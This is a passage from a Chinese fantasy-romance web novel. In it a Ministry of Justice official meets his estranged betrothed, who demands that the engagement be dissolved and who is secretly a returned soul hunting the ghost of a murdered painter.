正要吩咐些什么,却见余琅一个箭步上前,狠狠将那刺客踩在脚下。
“快说!究竟是何人派你来行刺任大人的?”
刺客似乎才回过神来,眼睛不由自主望向角落里的女子,莫名打了个哆嗦。
余琅这才发现舱内居然还有一个人。
一个身形瘦弱,衣饰简陋,看着出身颇为穷苦的年轻姑娘,正静静靠在角落里。
想必是惊吓过度的缘故,她面容苍白无血色,小脸上竟没有一点表情。<
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br>可怜!
他正斟酌着想要说些什么宽慰之语,脚下忽然传来一声闷哼,竟是那刺客悄悄喂毒自尽了。
余琅一阵气恼:“本公子还什么都没问呢!”
对于这种结果,一旁的任风玦并无多少意外,反而好整以暇整了整衣袍。
“刚想提醒你,提防他自尽。”
“……”
余琅讪讪收回自己的脚,小声嘀咕:“本公子怎会料不到,就是迟了一步罢了。”
任风玦听在耳里,假装敛容正色道:“你私自擅离职守,还未告诉我,外面情况如何?”
“任大人放心好了,那帮小贼已被治得服服帖帖,不敢造次啦。”
生怕任大人要怪罪,余琅又恭敬道:“下官刚刚已四处查探过,这刺客,并无同党。”
任风玦点头,心下了然。
船上不易躲藏,唯以暗器行刺最佳。
可这刺客身手一般,也不知是幕后主使太过轻敌,还是另有图谋。
思忖片刻,任风玦目光落在脚边的袖箭上,于是弯腰拾起,细细查看了一番。
半晌后才吩咐道:“上岸后,将尸体带回去,派人好好查查来历。”
算着时辰,船也该到了京都水域。
他正要朝外走去,却察觉到角落里有双眼睛,正盯着自己。
任风玦回头看了一眼,还未出声,余琅却抢先一步道:“这姑娘想必是吓坏了,任大人,你说咱们…要不要施以援手?”
“……”
方才的情形确实凶险,可这女子哪有半分害怕的样子?
反而是看向自己的眼神,带着几分探究与考量。
任风玦生性多疑,不禁轻皱眉头。
他瞥了余琅一眼,回道:“余少卿向来怜香惜玉,此事你拿主意就好。”
“只是,方才这女子就与刺客一同出现在船舱里,还未知底细。”
“余少卿不如也一并问问吧。”
余琅听完这番话,心里咯噔一声,瞬间有种搬石头砸自己脚的痛感。
他敲了一下自己的头,无奈再次拱手。
“下官遵命。”
第7章 起疑
船到渡口,天光大亮。
随着当区巡捕到来,配合余琅处理完船上事宜后,四下才逐渐恢复流动。
任风玦负手立在岸边,望着陆续四散的人群,眼底若有所思。
船上的两具尸体已经被衙门带走了。
受惊的乘客一直到上岸,面上都带着恐慌之色。
然而,却有一道单薄瘦弱的身影,在人群中显得有些格格不入。
是那个“醉酒”的女子…
任风玦一眼就看到了对方。
她孑然一身下了船,身上也没有带任何行李。
这样一个年轻的女子,独自乘船来到京中,面对周遭一切,却是满脸漠然。
不像是第一次来,却也…不像是有投奔之所的样子。
余琅顺着拥挤的人群走出来,显然累得不轻。
他一边拭着额角,一边向任风玦汇报船上大致情况,末了,却换作一副高深莫测的样子。
“最后一件事,却与任大人有些关系。”
任风玦多少有些意外,不禁皱眉:“我?”
余琅笑着点头,左手下意识摸向腰间折扇,却摸了一个空。
他也毫不在意,反而一脸神秘:“大人不是让我问船上那女子的底细吗?”
任风玦没接话,只是淡应了一声。
余琅继续说道:“起初我还以为她是个哑巴,问了好几句也不搭理。”
这些倒全在任风玦意料之中。
“后来想想,兴许她是受到惊吓的缘故,就问她,到京中来所为何事,若有难处,不妨开口,你猜她回了一句什么?”
余琅一脸稀奇:“她问我,仁宣候府怎么去?”
任风玦心下微惊,这一点,他始料未及。
莫非,她知道自己的身份?
不。
若真知晓,方才在船舱内,也不该是如此反应才对。
余琅向来乐意看任大人变脸,继续吊着胃口,慢悠悠说道:“我便问她,去侯府所为何事,她却不回话了…”
“于是,我又告诉她,仁宣候府的门,可不是想进就能进的,若无引荐,只能吃闭门羹。”
“诶?你猜她又说了一句什么?”
任风玦皱眉,眼见就要没了耐心。
余琅这才不绕弯子,直接道:“她说她找任宣候之子,有事要当面说清。”
“……”
任风玦顿时噎住,心下更是惊疑不定。
余琅在旁悄悄观察,又偷偷憋着笑意,故意问道:“任大人与这女子…该不会有什么渊源吧?”
任风玦睃了他一眼,“我与她并不相识。”
“那就怪了。”
余琅看了一眼远阔的河面,虚眯着眼睛,一副想要看好戏的样子。
“她为了一个陌生人,大老远跑这么一趟,也不知是何用意呢。”
任风玦半晌没回话,这事确实透着蹊跷。
他望向那女子消失的背影,半晌后才问道:“她还说了些什么?”
余琅哂笑:“还问我借了一两碎银呢,算不算?”
“……”
——
街边包子铺传来浓郁的香气,伙计正在叫卖:“包子嘞!新鲜出炉的包子嘞!”
夏熙墨顿足,忍不住回头看了一眼,却听到腹中传来咕咕叫声。
这突兀的声音,让她有些恍惚。
自从身体获取了足够的阳气,她渐渐恢复了一些活人的感知。
脑海中的记忆,既清晰,又混乱。
但属于自己的前尘往事,却像是被封印了一般,总也记不真切。
她知道,自己原本并不属于这里,不过是借助这具躯体,要完成一些事情罢了。
“给我一个包子。”
夏熙墨走到跟前,递了一块碎银过去。
伙计愣了一下,为难道:“姑娘,我这才刚开门做生意,只怕找不开。”
“不用找。”
“啊?”
伙计又吃了一惊,忍不住将面前的女子细细打量一番,心下更加纳闷。
明明一副穷酸落魄的样子,怎么出手还这般阔绰?
他正犹豫间,另一只手却伸过来,递了一块铜板。
“包子的钱,我替这位姑娘出了。”
夏熙墨回头看了一眼,却对上一张笑嘻嘻的脸。
她当然认得对方。
“我说姑娘,借了我的银子,可不是这么使的,皇城物价固然高,倒也没高到这种地步。”<
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br>余琅将热乎乎的包子递给她,转头也向伙计要了一个。
夏熙墨没出声,将包子捧在手中,一口轻咬,细嚼慢咽,吃得斯文且认真。
对于周遭投来的目光,倒是恍若未闻。
这吃相,让余琅看得暗暗称奇。
他出身高门,见过不少闺阁女子,用膳时的优雅从容,却还是头一次在街头见到有人这样吃包子。
心里的好奇又多了几分,于是轻咳一声,问道:“姑娘打算现在去仁宣候府?”
夏熙墨直将最后一口包子吃进嘴里,才回了他一个字。
“是。”
余琅来意明确,继续问:“那姑娘是想找仁宣候府的小侯爷?”
对方依然面不改色,惜字如金:“是。”
“实不相瞒,小侯爷已有些时日没回侯府了,现下就居住在京中的宅子里。”
夏熙墨闻言,脸上总算多了一丝动容。
“你怎么知道?”
她幽黑的眼睛,冷冷望过来,让余琅有些不寒而栗。
明明是一张清丽不俗的年轻脸庞,怎就令人望而生畏了呢?
奇怪!
他回了回神,故意轻咳一声。
“姑娘不必过问太多,若是信得过我,本公子倒是可以给你带个路。”
他此趟本就是授了小侯爷之意,此时,却根本压不住心底的好奇心。
这样一个人物,能与任大人有什么渊源呢?
她找任大人又所为何事?
光是想想,这半月来日日舟车劳顿,所带来的疲累感,瞬时全无。
余琅只觉得神清气爽。
而对方也并不在乎他话中真伪,只淡淡回道:“带路吧。”
果然好胆识!
一心只想看戏的余少卿忍不住偷偷称赞,之后也是迫不及待将对方带到了任风玦的宅子。
只是,任大人早已马不停蹄进宫面见圣上,等回到家中时,已是黄昏。
他甫一进门,却见余琅打着呵欠从厅中走出来。
“任大人,你可算回来了。”
任风玦正疑惑对方为何在自己家中,转念一想,才知道不对劲。
这个余琅,竟直接把人带到他家里来了!
第8章 退婚
任风玦自一年前代理刑部后,为了便于出入,就在京都置办了一座两进的宅子。
他生性喜静,宅中除去一个从侯府跟来的同姓管家之外,便只有四名仆役用于使唤,可谓十分冷清。
说来奇怪,任大人虽生于侯府,身份尊贵,却不带一丝骄奢之气。
平日里,不仅吃穿用度一切从简,住所更是清寒简陋。
作为天子宠臣,竟是一点架子都不愿意摆。
余琅并不喜欢到他府上做客,可两人向来交好,又有职务往来,一月之中,少不了要走几趟。
每次来,他都要愁眉苦脸,不是嫌弃任大人家中茶水苦涩,就是饭菜过于寡淡。
任风玦又不改待客之道,只一句“余少卿去留随意”。
是以,余琅无正事不造访,就算要来,也是候着时辰来,说了正事就走。
哪像今日这般…
他居然带了一个女子上门。
巳时左右来,午时用膳,数盏茶过后,已近酉时,仍无去意。
仆人阿春忍着疑惑,又悄悄上前换了一盏茶。
见余琅一副悠然自得的样子,并没有因为过久等候而有一丝不耐烦,心下更是称奇。
再看一旁女子,也是令人捉摸不透。
自进屋后,她便正襟危坐,只饮过一杯茶,偶尔闭目养神,几乎没说过一句话。
这过于诡异的气氛,令阿春忍不住望了一眼天边。
也不知今个儿刮的是什么风…
酉正时分,任大人总算回到了家中。
余琅喜出望外,直奔门口。
“任大人,你可算回来了。”
任风玦眼角轻跳,忍不住朝室内多看了一眼,恰见一双沾着泥污的藕色软缎绣鞋印入眼帘。
果然猜得没错…
他眉头轻皱,低声问:“你怎么把人带我家里来了?”
余琅讶然道:“不是任大人吩咐的吗?”
任风玦嘴角也跟着抽动了一下。
“我记得,我当时的原话是‘那女子性格古怪,行迹诡异,你且探清虚实,再带来见我’。”
他何曾说过要带到住处来?
余琅干笑一声,解释道:“大人不是要进宫面圣吗?我总不能把人带到刑部或大理寺吧?她一介弱女子,才历经凶险,只怕受不得惊。”
又道:“下官思来想去,还是这里,最为妥当。”
“……”
任风玦没话说。
他用手揉了揉眉心,终是忍着一身疲累,掀开帘子,进了厅内。
……
夏熙墨听到门口传来声音,便睁开了眼睛。
黄昏里,一道颀长的身影立在门前,逆光的面容,依然模糊。
但她还是一眼认了出来,对方正是船上那位身上带有独特气息的男人。
自他走进屋内,扑面而来的纯阳之气,便瞬间驱散了她周身寒意。
怎会这么巧?
他就是仁宣候之子?
两人对视之间,各有所思,还未出声,余琅已尾随其后走了进来。
他率先向夏熙墨说道:“这位便是姑娘要找的人了。”
夏熙墨认真打量了一下眼前这位气质斐然的男人。
他面容清朗,头发高束,已摘了官帽,依然外披玄色大氅,里面却换了紫色朝服,脚下是一双纤尘不染的皂靴。
应当是刚从宫中出来,还未来得及换下便服。
夏熙墨站起身来,往前走了两步,问:“你便是仁宣候之子?”
这话问得一点也不客气,乃至于余琅听在耳里,都要为她捏一把冷汗。
他知道这女子大胆,却没想到这么大胆!
试问当今,上至群臣,下至百姓,谁敢这么跟“活阎罗”讲话?
对此,任风玦面不改色,只道:“正是,不知姑娘又是何人?所为何事?”
在他目光注视之下,夏熙墨毫不避讳从脖子上扯下一块玉坠,递到他跟前来。
“我姓夏。”
望着那月牙形的玉坠,任风玦一时还未反应过来。
但听到对方的姓氏,却令他心头一震。
余琅早知任大人有婚约在身,其婚配对象正是六年前平定边陲的护国大将军夏青之女。
而这女子姓夏…
什么情况?
任风玦迟疑道:“你是…”
“夏青之女,夏熙墨。”
“……”
果真是她!
突如其来的变故,让想要看好戏的余少卿又抹了一把冷汗,很是尴尬。
任大人的未婚妻,居然独身一人前来
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京都找他!
啧啧,这般情深意重,属实令人艳羡啊!
任风玦心头却是一阵异样。
对于这位指腹为婚的夏氏,他从未放在心上,若非家中父母时常提及,自己根本就想不起这号人物。
而近年来,他一心全在朝堂,又不住侯府,更是将此事抛之脑后。
何曾想…有朝一日,对方竟会主动找上门来?
他先是不解,转念一想,又不禁起了疑心。
夏熙墨这些年来一直居住在江南舅父家中,因此,侯府一直对穆家多加照拂。
照理说,此时的夏熙墨应当过着衣食无忧的闺门生活才对。
究竟发生了什么变故,穆家会放任她独身一人来京都?
甚至,还这般落魄…
“穆家…可是有什么难处了?”
斟酌片刻,任风玦试探着问了一句。
夏熙墨面色平静,没有一丝端倪:“与穆家无关,是我要来找你。”
“……”
毕竟她身份特殊,话说到这个份上,作为外人的余琅,都有点“窃小夫妻墙角”的错觉。
这会儿,他是不是该回避一下?
任风玦向来处变不惊,此时竟也觉得有些不自在。
“找我?”
听到这里,余琅已下定决心悄悄往外挪动步子。
然而,才走到门口处,却听到夏熙墨回道:“是,找你解除婚约。”
“!”
余少卿脚步一滞,差点以为自己听错。
再看任风玦,他的脸色与心情一样复杂。
素未谋面的未婚妻,千里迢迢找上自己,居然是要退婚!
这事怎么看都显得十分荒唐。
不过片刻之间,任风玦心念已是百转千回。
他怀疑过对方的身份,甚至怀疑过对方想假借身份有所图谋。
唯独没有料到,对方会说出这样的话。
余琅站在门边,正是进退两难,惊诧之余,终是忍不住回头插了一句嘴。
“夏姑娘,这其中,想必是有什么误会,你与任大人才刚见面,说这话,似乎…不妥!”
夏熙墨依然一脸冷漠,望向任风玦的眼神,坚定而决绝,又道:“我问的是你,你若没有意见,便写一封退婚书给我。”
第9章 缓兵
任风玦从怔忡之中回过神来,又稍微缓了缓,神色才逐渐恢复自然。
“我确实没有意见。”
说实话,这婚约于他而言,本就可有可无。
眼前之人,就算在名义上,与自己有诸多瓜葛,但始终也只是一个陌生人罢了。
他思绪已然清晰,继续说道:“只是,婚约乃父母之命,若要退婚,也须得禀明家中父母,岂敢擅自决定?”
夏熙墨眉目不惊,吐出两个字。
“多久?”
任风玦莫名一噎。
近来为了工部尚书之案,他已有月余未曾归家。
退婚在他看来,确实是小事,但若让家中父母知晓,那必然是要追根问底的。
况且,这事多少透着蹊跷,他并不想贸然处理。
思及此,只能暂用缓兵之计。
“婚约并非儿戏,我会先写一封信回去,向父亲提及此事,快则三五日,便有回音。”
闻言,夏熙墨只是淡应了一声,不再说话。
四下立时陷入了沉默。
余琅卡在中间,只觉得诡异。
他悄悄看了任风玦一眼,小声说道:“任大人,天色也暗了,那下官…先行告退了?”
任风玦这才意识到什么…
眼下天已经要黑了,夏熙墨独身一人来京都,看样子并无落脚之地。
虽说他二人毫无情分可言,但念在两家长辈昔日交情,也该尽一尽这地主之谊才是。
况且,他心中还有自己的考量…
思忖之下,任风玦瞥了余琅一眼,却道:“我还有些事要与余少卿商议,且留下一起用晚膳吧。”
“……”
不等余琅回话,他又转头向夏熙墨说道:“夏姑娘舟车劳顿辛苦了,今日天色已晚,若不嫌弃,且在寒舍小住几日。”
余琅话堵在嘴边,微有些震惊,心里不由得暗自揣测。
相识那么多年,他深谙任大人脾性,那是相当洁身自好,至今,宅中连个女人的影子都没有过。
据说,连圣上最宠爱的定安公主多次向其示好,他都视若无睹,一门心思只在追凶断案上。
他曾一度以为,任大人兴许是对女人不感兴趣。
如今想来,却瞬间通透了。
原来,他竟一直在为未婚妻守身如玉,分明用情至深啊!
夏熙墨听了这话,似乎也有片刻的犹豫。
这具身体,已不适合风餐露宿,过于奔波劳累,只会更加损耗阳气。
一旦再次魂不附体,还不知如何补救。
暂留在这男人身侧,正好能压一压自身的九幽阴寒之气,不失为一件好事。
“可以。”
只见她薄唇轻启,依然惜字如金,一句多余的话都没有。
任风玦也不多问,立即唤来仆人阿春,吩咐道:“去将客房收拾一下,安排夏姑娘住进去。”
而后,又望向夏熙墨:“寒舍简陋,夏姑娘若需要什么,只管让他们去置办。”
“嗯。”
夏熙墨却不与他客气,转身就与仆人走了。
这架势,好似一点儿也不见外。
余琅忍着笑意,憋了半天,再看向任大人的眼神,又有几分意味不明。
他听到脚步声远去,这才说道:“我看这夏姑娘…也不像是真要与任大人解除婚约的样子,约摸是…遇到什么难事了。”
任风玦没回话,坐到一旁,自顾自给自己倒了一杯茶,面上神色自若,眼底眸色深沉。
片刻后,他才放下茶杯,问道:“你又怎知,她的身份就一定是真的?”
余琅敛起笑意:“任大人该不会怀疑…”
“夏将军之女,自小体弱多病,自六年前住进舅父家中,期间,也只有我母亲才见过一面。”
也就说,任家除了候夫人,谁也没见过这位夏姑娘。
“方才我问她,可是穆家出了什么事,才让她不远千里,来京都找我。”
“结果她没有缘由,只是要与我退婚,这事多少有些蹊跷。”
余琅顺着他思绪,往后想了想,却猛然得出了一个结论。
“任大人!你说夏姑娘她…该不会是移情别恋了吧?”
“……”
若不是移情别恋,又怎会这般执着想要退婚呢?
如果真是如此,那任大人实在是
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太可怜了!
见对方不出声,余琅又忍不住宽慰道:“感情之事,确实没有道理可讲,任大人倒也不必太难过,大丈夫何患无妻呢?”
他正要继续说下去,任风玦却无声递了一杯茶水过来。
“瑶光这几日应该还在江南,你写封信给她,让她去趟西泠县,暗中调查一下穆家的情况。”
暗影卫瑶光,隶属于暗影司,轻功一绝,擅刺探追踪。
半年前,她被圣上派给三法司,协助任风玦办案。
此次南下,便是他们三人同行。
余琅讪讪喝了口茶,神情却有些不自然,“任大人明知道我与瑶光姑娘不合,怎么还让我来写信?”
“不合?”
明明是调戏了人家姑娘,被打了一顿,失了面子。
任风玦睃了他一眼,“当日在芜州县,明明是你得罪她在先,我看瑶光姑娘的气量,比你大。”
余琅自知理亏,只得讪笑一声:“好,任大人吩咐,下官岂敢不从呢?”
任风玦点了一下头,眼底漾出一丝笑意:“尽快去办,晚膳就不留你了。”
“……”
余琅欲言又止,忿忿而去。
厅内归于沉静,只见角落里一炉炭火,烧得正旺,不时发出轻响。
任风玦走到火炉旁,微微俯身,伸出修长的双手,感受火光带给掌心暖意。
“任叔。”
他眉眼低垂,轻唤了一声。
随后,门外走进一个年纪约摸四十左右的中年男子。
“公子,有何吩咐?”
任风玦翻动了一下手心,神色淡淡。
“这几日,你派人留意一下‘客房那位’的行踪,她一天之中,做了什么,去了什么地方,都来向我汇报清楚。”
“侯府那边,先不必声张,更不可让侯爷和夫人知晓。”
“去吧。”
“是。”
管家任丛正要领命而去,却又被任风玦喊住。
“等等。”
他似是想到什么,又皱了一下眉头,吩咐道:“明日一早,先给她送一百两现银去,顺带喊衣庄的人过来一趟,裁两套冬衣。”
第10章 裁衣
眼前是一片雾色。
一轮诡异的红月,悬挂中天。
她步履沉重,行走其中,并不知道自己要通往何处。
猝不及防,一株老树出现在面前,树上没有一片叶子。
枯枝掩映,形若白骨,一直延伸到天际。
这是哪儿?
她怔忡在原地,再低头时,却发现手脚已被桎梏。
“墨骨,你**灵剑宗满门,罪孽深重,罪大恶极!”
“现押入九幽,不得轮回!”
一道阴冷的声音,从四面八方而来,若即若离,若真若幻。
“谁?”
她环顾四周,再回头时,身后又变作一片刺目的光影。
“墨骨,百年之期已至,吾准许你魂魄归还人间,赎其罪过。”
“你须在人间渡三十二缕冤魂,点燃渡魂灯,方能重入轮回。”
“记住,这具身体,只有三年时间,你要尽快完成身体主人留在人间的未了之愿。”
“否则,一朝魂散,前功尽弃。”
光影消失。
黑暗吞噬了整个梦境。
夏熙墨猛然惊坐起来,却发现自己坐在一张椅子上,腿脚传来的麻痹感,有些陌生。
四下沉寂,室内一盏孤灯还未燃尽,天却已经亮透了。
她正要站起身来,却见身侧案上放了一盏黑色莲灯,并不像是人间之物。
借着晨光,夏熙墨拿起来仔细看了看。
莲灯不过手掌大小,莲瓣有三十二片,并无灯芯,透着诡异。
望着此物,脑海中忽然浮现起三个字。
——渡魂灯。
门外传来脚步声,似乎有人在悄悄靠近。
夏熙墨放下莲灯,径自起身走到门边,并一把打开了房门。
外面的人似乎吃了一惊,片刻后,却露出一抹和善的笑容。
“夏姑娘醒了?”
是昨日有过一面之缘的管家。
夏熙墨点了一下头。
任丛继续客气道:“我吩咐仆人打了热水过来,一会儿姑娘先行洗漱用膳。”
“嗯。”
她依然态度冷淡,并不拘于世间礼法,即便是在任风玦面前。
任丛早就领会过,对此并不在意。
他将早早准备的银子递上,又道:“这是任大人的一点心意,还请夏姑娘收下。”
夏熙墨望着他手上沉甸甸的包裹,犹豫了一下。
她并不知那里面是何物。
任丛观察着她的神色,解释道:“夏姑娘初到京中,若无钱财傍身,只怕处处不便。”
听了这话,夏熙墨才反应过来。
“他给我钱?”
语气里总算有了一点波澜。
任丛唇畔浮起笑意,心道,虽不拘礼法,却也会为钱财而动容。
看来…
他态度恭敬,回道:“正是。”
“多少钱?”
“嗯?”
任丛有点怀疑自己听错,高抬的手,悄悄垂下了几分,“是一百两现银。”
“嗯。”
对方又是一声淡应,却没有多余的言语。
从他手中拿了钱,转身进了室内。
竟连一个“谢”字都不提。
“……”
望着她的背影,任丛怔忡在原地,半晌都回不过神来。
待夏熙墨洗漱用膳过后,任丛又不得不再次登门。
这次却带了两个人来。
“夏姑娘,这位是锦绣衣庄的刘掌柜和裁缝李师傅。”
夏熙墨不知来意,眉头微皱。
见此,任丛只好耐心解释道:“任大人吩咐,给夏姑娘裁两件冬衣。”
裁衣裳?
她下意识低头看了一眼自己。
在九幽极寒之地困了百年,早已不知何为暖意。
此时,魂魄尚未能彻底与身体融合,阴气无法消散,寒意也将时刻浸着骨髓。
厚实的冬衣,对她而言,根本形同虚设。
只是,转念一想,如今已是太平盛世,人除了求温饱之外,还要讲究一个体面。
她一身褴褛,难免有些格格不入。
那就暂且入“世”随俗。
“好。”
任丛笑着颔首,朝一旁刘掌柜使了眼色。
刘掌柜不敢怠慢,上前一步,满脸堆笑,问道:“姑娘可有想要的样式?”
夏熙墨眼皮也不抬:“没有。”
“那…面料可有讲究?”
“没有。”
刘掌柜面容微僵:“那…”
“你看着办。”
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>“……”
一番问话,反倒让刘掌柜为难了起来。
做他们这行生意,倒不怕那些要求繁琐态度刁钻的客人。
毕竟他们锦绣衣庄,是京中最好的衣庄,连宫里的娘娘公主们都赞不绝口。
而这姑娘,也不知是什么来历,这般态度,实在令人捉摸不透。
若非看在小侯爷的脸面上…
犹豫片刻,刘掌柜又挤出一抹笑,说道:“既然如此,那让李师傅拿些图样来,姑娘且过过目。”
锦绣衣庄出的四季服饰,都会请京中有名的画师前来留样。
而这些画师,个个技艺精湛,所绘的细节与配色,都与实物相差无几,十分还原。
可夏熙墨一张张图样看过去,面上毫无波澜。
难道看不中?
一旁的李裁缝悄悄观察着她的脸色,正思忖着该如何搭话时,却见对方的眼睛,忽然盯上了自己身后的画篓。
那里面还有一卷单独的画轴未拿出来。
“姑娘,这一卷,是去年的冬衣了。”
夏熙墨没出声,只是向他伸出了手。
李裁缝怔了怔,便向刘掌柜看了一眼,见对方没有异言,才将东西递了过去。
画轴展开,只有四套衣服,画风却与之前截然不同。
这位画师,除了注重服饰细节之外,还画出了相应的人物,其神态与情景渲染交融,使得一件件衣裳饰品,更加生动光彩。
虽十分用心,却落款无名。
夏熙墨目光一行行掠过去,最终停在一个身穿红色斗篷站在雪景中,而神色略显哀伤的少女身上。
李裁缝附和道:“这件斗篷,是去年最时兴的样式,京中的贵女们,几乎人人都留了一件呢。”
他正要继续往下说,对方却冷不丁防地提了问:“这位画师,是不是已经**?”
李裁缝瞬间噎住。
刘掌柜也跟着变了脸色。
见他们不语,夏熙墨却淡淡收回目光,吩咐道:“我就要这四套衣服。”
李裁缝从震惊中回神,听了这话,反而有些不知所措。
刘掌柜也是愣了半晌才回神。
“杵着作甚?快给…这位姑娘量尺寸呀!”
第11章 冤魂
晚间,任丛将白天的情况一五一十汇报给了任风玦。
说到四套冬衣时,他语气颇有些忿忿不平。
“这女子,当真不客气!”
“收了一百两现银,也未曾言谢,竟还一口气要了四套冬衣!”
“锦绣衣庄的四套冬衣,能抵咱们府上整整一年的开销呢!”
“且不说她身份真假,依我看,这分明…是把公子当作了冤大头!”
对于花出去的银钱,任风玦倒是毫不在意。
他眉眼低垂,看着仆人阿秋给自己包扎肩上的伤口,却问道:“你说她裁的是去年的冬衣?还问了那留样的画师?”
任丛点头,“说来也邪乎,她只是看了看图样,张口就问,那画师是不是已经**…”
“**?”
任风玦眉头微蹙。
“我看刘掌柜的神情,这事似乎真让她说中了。”
一个初到京中的异乡女子,又如何能知道这些事情?
任丛看了一眼小侯爷的脸色,“公子是不是怀疑什么?”
任风玦摇了摇头,却微微笑道:“那倒没有,我还不信,她才到京城,就能与锦绣衣庄扯上什么关系。”
——
“锦绣衣庄怎么去?”
身后突然传来声音,吓得阿春浑身一抖,差点没把手里的盘子给扔出去。
“夏…夏姑娘?”
他转身拍了拍胸口,依然惊魂未定:“你怎么…走路一点声响都没有?”
廊下,夏熙墨依然一身粗布麻衣,身影几乎与夜色融为一体。
她又问:“我想去锦绣衣庄,怎么去?”
“锦绣衣庄?”
这让阿春颇为不解,“这个时辰,衣庄早就关门了,姑娘去做什么?”
转念一想,白日里,任丛管家才请了裁缝过来,为她裁衣。
只怕,是心急那些新衣吧?
他连忙解释道:“您白日挑选的那些,都是要绣娘们现做的,少说也得三五日的工期。”
“姑娘若是需要什么改动的地方,只管告诉我,明日一早,我再替您去一趟。”
一番话,本以为能劝动对方。
怎料,夏熙墨面不改色:“我现在就要去,你只用告诉我怎么去便是。”
京中不设宵禁,夜里出门的人倒也不少。
但一个年轻女子独身出门,也未免太过大胆了!
阿春不敢多言,忍着想要劝阻的心,向东边儿的方向指了指。
“出门左拐,出了巷子,直达正街,再往东边走到头就是啦…”
“若是——”
他本想说得再细致些,对方却是头也不回地走出了院子。
“……”
望着那道瘦弱的背影,阿春在原地愣了半晌,这才想起些什么,又急匆匆往任风玦书房方向赶去。
——
入夜后的京城,街道上又是另一番景象。
灯火迷离,游人如织,竟比白日还要繁荣喧闹许多。
望着眼前的国泰民安,夏熙墨的脑海中,却莫名闪过一帧与之完全相反的画面。
哀鸿遍野,民不聊生。
尘封的记忆里,那似乎才是常态。
手中的莲灯忽然颤动了一下。
一道黑影翩然而至,浮荡在她的身侧。
“如今的人间,竟已是这般景象了啊。”
黑影开口,语气里颇有几分感叹。
这是一缕没有形态的守灯之魂,不同于一般鬼魂,它不惧阳气,也不必躲在阴暗的角落里。
只要是灯身所在之地,就可以自由出入。
灯魂名为无忧,半个时辰前,它忽然现身在夏熙墨的房间里。
用它的话来说,当遇到渡魂灯想要渡化的冤魂时,灯魂就会主动现身。
而那位死去的无名画师,正是目标之一。
想是许久未曾面世的缘故,无忧感慨颇深,自报姓名后,正事未提,却恨不得道尽前尘往事。
夏熙墨没有耐心,一个冰冷的眼神扫去,直切正题。
“所以?”
无忧轻咳一声,这才说道:“方才你也看到了,这画师只有一缕散魂,还被封印在画上,显然三魂分离,七魄俱散,分明是阳间术士所为!”
“她滞留已久,入不得阴司,背后定然大有冤屈!”
“只是嘛,这散魂并无太多意识,得找到主
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魂,才知来龙去脉。”
它摸了一下空荡荡的鼻子,故意吊了一下胃口,却问:“那散魂口中一直念着一个名字,你可听清了?”
夏熙墨不答,拿起一旁莲灯,就朝外走了去。
无忧只能默叹,不愧是名震阴司的九幽囚魂,这么有性格!
此时,它一声感叹,自然也得不到对方的回应,便打了个哈欠,悄悄荡入人群之中。
夏熙墨冷眼望着这缕幽魂,见它忽而伏在人的背上,忽而栖在人的肩头。
仗着不被察觉,像个顽童一般肆意。
直到绕过人群,人声渐稀,才算消停。
街道走到尽头处,果然看到了锦绣衣庄的招牌。
此时门前挂着一盏灯笼,但大门紧闭,四下无人,一片沉寂。
夏熙墨毫不犹豫上前敲响了大门。
没过一会儿,一个年轻小厮前来开门,态度还算客气。
“姑娘可有什么事?”
夏熙墨直言:“找一个叫任东行的人。”
小厮脸色微变,将她上下仔细打量一番,只道:“我们少东家并不在庄内,姑娘不如明日再来。”
他说完,就要将门合上,夏熙墨却伸出一只手,抵在了门上。
小厮抬头,只见一双幽深冰冷的眼睛,朝自己望过来,带着难以言喻的压迫感,让他后背莫名一阵发凉,手脚跟着僵住,不听使唤了。
直到身后有人问:“是什么人在外面?”
小厮忍不住哆嗦了一下,这才回过神来,见是刘掌柜,可算松了一口气,连忙如实说道:“掌柜,有人要找少东家,是个姑娘。”
刘掌柜微微皱眉,正要说些什么将人打发走,然而,却在门隙间看清了对方的容貌,顿时吃了一惊。
这…
这可是小侯爷府上的那位姑娘啊!
他脸上堆起笑意,态度立即恭敬了起来,忙不迭走上前去。
“姑娘?您怎么亲自来了?快快请进!”
小厮见刘掌柜态度转换如此之快,就知对方来头不小,可心下依然很是纳闷。
这般形容落魄的一个年轻姑娘,究竟是个什么身份?
第12章 怪异
锦绣衣庄是京中老字号,除了在街市最好的地段,设有成衣铺子之外,东家还买了一座宅子,用于绣娘赶工,以及招待一些贵客。
碍于任风玦的面子,刘掌柜是丝毫也不敢怠慢,领着夏熙墨一路穿廊过院,来到一间布置典雅的花厅内,恭恭敬敬奉上了热茶与点心。
刘掌柜并不知对方真实来意,只依稀觉得是与那几套冬衣有关,于是主动说道:“姑娘白日选的衣裳,都已经张罗着让绣娘做了,最多三日后,就能给您送过去。”
见对方并不接话,他又继续客气道:“若是有什么需要的地方,知会一声便是了,也不必亲自跑这一趟。”
夏熙墨却不跟他绕弯子,只道:“我来,是要找一个叫任东行的人。”
望着对方一副油盐不进的样子,刘掌柜心里已有恼意,面上却不显露分毫,又问:“姑娘找我们少东家?”
“那可真是不巧了,他今日并未到过庄上,至于去了什么地方,做下人的也不好打听。”
“不知姑娘有什么要事?”
说到这里,刘掌柜也不免暗自疑惑。
任东行虽为衣庄少东家,但从来只是挂个名头,根本不理庄内事务。
这每日往来贵客之多,基本都是几个掌柜在轮流招待,倒从未见过指名道姓要找少东家的。
而转念一想,这女子身份特殊,与任小侯爷关系非同一般,其中缘由,细想之下,倒令人有些惴惴不安。
少东家向来喜欢拈花惹草,在外风流成性惯了,该不是误打误撞得罪了眼前这位?
不然,一个姑娘家,怎会在夜里突然找上门来?
夏熙墨这边迟迟不回话,刘掌柜更加坐立不安,索性又赔了一个笑脸。
“这样吧,姑娘若真有急事,小的现就差人去府上问问。”
他说着,就喊了一个伙计进来招待伺候,自己则备了马车,立即出了衣庄。
——
城西的暮思楼内,任东行酒酣耳热,正拥着两个花娘打情骂俏。
忽一抬眼,却见刘掌柜从一扇屏风后绕了过来。
他本以为又是家中老父亲来找麻烦,十分扫兴,但细听之下,却吃了一惊。
“你说,有个姑娘到衣庄找我?”
任东行掩不住眼底的好奇,又问:“怎么样?长得漂亮吗?”
刘掌柜简直捏了一把冷汗,咬着后槽牙说道:“我的公子爷啊,都什么时候了?小侯爷那边,咱们可是万万得罪不起的。”
闻言,任东行却闷哼一声,端起桌上酒杯,仰着脖子一饮而尽。
在他看来,任风玦也就是会投胎了些,都是同族宗亲,怎就他父亲成了开国功侯?
而自家这一脉,只混个市井商贾,无权无势,一身铜臭,还得仰仗他任侯爷的鼻息。
只是,心里虽这么想,行动上却一点也不敢忤逆。
不过半炷香的时辰,任东行就回到了锦绣衣庄。
这时,已近戌正,夜色深沉。
